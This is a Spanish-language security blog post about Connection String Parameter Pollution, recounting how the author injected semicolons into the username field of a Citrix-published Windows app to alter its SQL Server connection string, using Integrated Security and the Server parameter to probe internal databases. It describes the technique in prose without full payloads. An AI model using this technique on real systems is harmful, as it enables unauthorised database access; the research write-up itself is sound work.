Este puente ha tenido lugar el Cybercamp, y entre los ponentes se encontraba Stefano Di Paola, padre de las técnicas de ataque HPP (HTTP Parameter Pollution). En un rato en la sala de ponentes del evento estuvimos hablando y además de aprovechar para tirarnos una foto juntos le conté que cuando descubrimos las técnicas de ataque de Connection String Parameter Pollution fue porque desde que vimos su charla queríamos polucinar todo lo polucionable, y al final fueron las cadenas de conexión a bases de datos las que nos dieron el premio.

Figura 1: Ataques CSPP en aplicaciones Windows publicadas en Citrix

En aquel momento, cuando estábamos escribiendo el paper de Connection String Parameter Pollution, hubo un software vulnerable al que no le hicimos mucho caso, pues no tenía mucho sentido en aquel entonces el entorno de ataque. Me refiero a la Consola de Administración de SQL Server 2000, que permite la inyección de un punto y coma en cualquier campo y como consecuencia la polución de los parámetros de la cadena de conexión.

Figura 2: Connection String Parameter Pollution Attacks

No tuvo mucho sentido para nosotros publicar que era vulnerable a CSPP, pues no encontramos un entorno de ataque donde tener la Consola de Administración de SQL Server 2000, que ya de por sí permite configurar todos los parámetros para hacer una conexión a una base de datos, diera alguna ventaja al atacante pero lo cierto es que lo era y se podrían inyectar comandos.

Figura 3: Presentación de Connection String Parameter Pollution en DEFCON 18

Sin embargo, quiso el destino que ayer mismo me topara con un servidor Citrix que estaba publicando una aplicación Windows que realizaba la autenticación contra una base de datos Microsoft SQL Server. Como se puede apreciar, es un panel de login en el que no se puede elegir ni el motor de la base de datos, ni tampoco se podía tocar el nombre del servidor y la base de datos, que venían prefijado y sin posibilidad de manipular. Solo se pueden introducir valores en el campo de usuario y contraseña. 

Figura 4: Un aplicación Windows publicada en un servidor Citrix con una conexión a SQL Server

Para probar si estaba ante una cadena de conexión a bases de datos inyectable y polucionable, en el campo de Usuario introduje una cadena con el carácter ";" en medio, para ver si conseguía generar un nuevo elemento en la configuración de la conexión. Como se puede ver en el siguiente mensaje de error obtenido, mi carácter ";" aparece en la cadena como uno de los caracteres de control introducidos por el programador, así que podría probar otras cosas.

Figura 5: Mensaje de error ODBC que muestra la cadena inyectada

Teniendo en cuenta que esta aplicación está en un entorno Citrix la cosa podría ser más que interesante. Al final, al haberse publicado esta aplicación, se está publicando un usuario del sistema operativo Windows sobre el que está corriendo, lo que podría permitir hacer un ataque de Jailbreak, pero al mismo tiempo podríamos utilizar un parámetro Integrated Security en la cadena de conexión para utilizar ese usuario Windows en el motor de la base de datos.

El resultado, como puede verse en este ejemplo concreto es que ese usuario de Windows concreto sobre el que está corriendo esta aplicación Windows publicada en este entorno Citrix no tiene los privilegios de acceso a este motor SQL Server en particular, pero el ataque podría haberse realizado si hubiera estado configurado con otro usuario podría haber tenido éxito.

Figura 6: Error. El usuario no está dentro de una conexión de confianza

Al final, con esta aplicación en concreto se daba otra singularidad negativa, y es que el nombre de la base de datos había sido agregado al final de la cadena de conexión. Esto, conociendo que en la polución de los parámetros hace que el "último gane", significa que desde el campo de usuario pudieramos manipular todos los parámetros anteriores menos el nombre de la base de datos.

En este último ejemplo se puede ver como se ha polucionado el valor Server de esta cadena de conexión para obtener un resultado de que en Localhost no hay instalado ningún servidor SQL Server. Esta polución nos permitiría buscar todos los servidores SQL Server dentro de la DMZ de la organización - uno de los entornos de ataque descritos en nuestra presentación de DEFCON - e intentar realizar realizar una conexión a algún entorno de backup no publicado en Internet.

Figura 7: Conexión a server Localhost con polución de parámetro SERVER

Al final como se puede ver, aunque las técnicas de Connection String Parameter Pollution las pensamos más en aplicaciones web, con aplicaciones Windows publicadas en entornos de Citrix y/o Terminal Services en los que ya hay un usuario con una sesión abierta, también tienen su cabida. 

Saludos Malignos!